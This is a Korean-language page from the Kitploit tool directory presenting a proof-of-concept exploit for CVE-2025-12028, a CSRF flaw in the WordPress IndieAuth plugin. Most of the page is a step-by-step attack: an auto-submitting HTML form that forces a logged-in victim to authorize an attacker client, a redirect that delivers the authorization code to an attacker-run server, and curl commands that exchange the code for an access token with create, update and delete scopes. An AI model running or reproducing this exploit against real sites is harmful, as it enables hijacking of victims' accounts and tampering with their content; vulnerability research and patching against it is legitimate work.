Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/jfriedli/cve-2025-12028
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubjfriedli/cve-2025-12028

CVE-2025-12028

CVE-2025-12028에 대한 개념 증명 익스플로잇으로, WordPress IndieAuth 플러그인의 CSRF 기반 OAuth 토큰 탈취를 시연하여 도난된 자격 증명으로 인증되지 않은 API 접근을 가능하게 합니다.

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

1) 개념 증명(PoC) 페이지를 호스팅할 간단한 HTTP 서버 시작

root@kitploit:~
mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000

2) 다음 내용으로 /tmp/attacker/poc.html 파일 생성

root@kitploit:~
<!doctype html>
<html>
  <body>
    <form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
      <input name="client_id" value="http://attacker.local/app">
      <input name="redirect_uri" value="http://127.0.0.1:8000/cb">
      <input name="state" value="csrf-12345">
      <input name="response_type" value="code">
      <input name="scope[]" value="create">
      <input name="scope[]" value="update">
      <input name="scope[]" value="delete">
    </form>
    <script>
      document.getElementById('x').submit();
    </script>
  </body>
</html>

3) 로그인된 브라우저 세션에서 PoC 트리거

다음 주소에 로그인한 상태에서:

root@kitploit:~
http://localhost/wordpress

열기:

root@kitploit:~
http://127.0.0.1:8000/poc.html

같은 브라우저 세션에서.


4) 인가 리디렉션 확인

브라우저는 다음을 수행합니다:

  • 피해자의 쿠키를 사용하여 IndieAuth 엔드포인트로 POST 전송
  • 인가 코드 수신
  • 다음으로 리디렉션:
root@kitploit:~
http://127.0.0.1:8000/cb?code=...&state=csrf-12345

5) 코드를 액세스 토큰으로 교환

root@kitploit:~
curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
  -d "grant_type=authorization_code" \
  -d "code=PASTE_CODE_FROM_STEP_4" \
  -d "client_id=http://attacker.local/app" \
  -d "redirect_uri=http://127.0.0.1:8000/cb"

6) 토큰 응답 확인

JSON 응답에는 다음과 같은 필드가 포함됩니다:

  • access_token
  • scope
  • me
  • (가능한 경우) refresh_token

이 토큰은 이제 부여된 범위 내에서 피해자로 행동하는 데 사용할 수 있습니다.


7) 토큰 검증

root@kitploit:~
TOKEN="PASTE_ACCESS_TOKEN"

curl -s "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
  -H "Authorization: Bearer $TOKEN"
도구 다운로드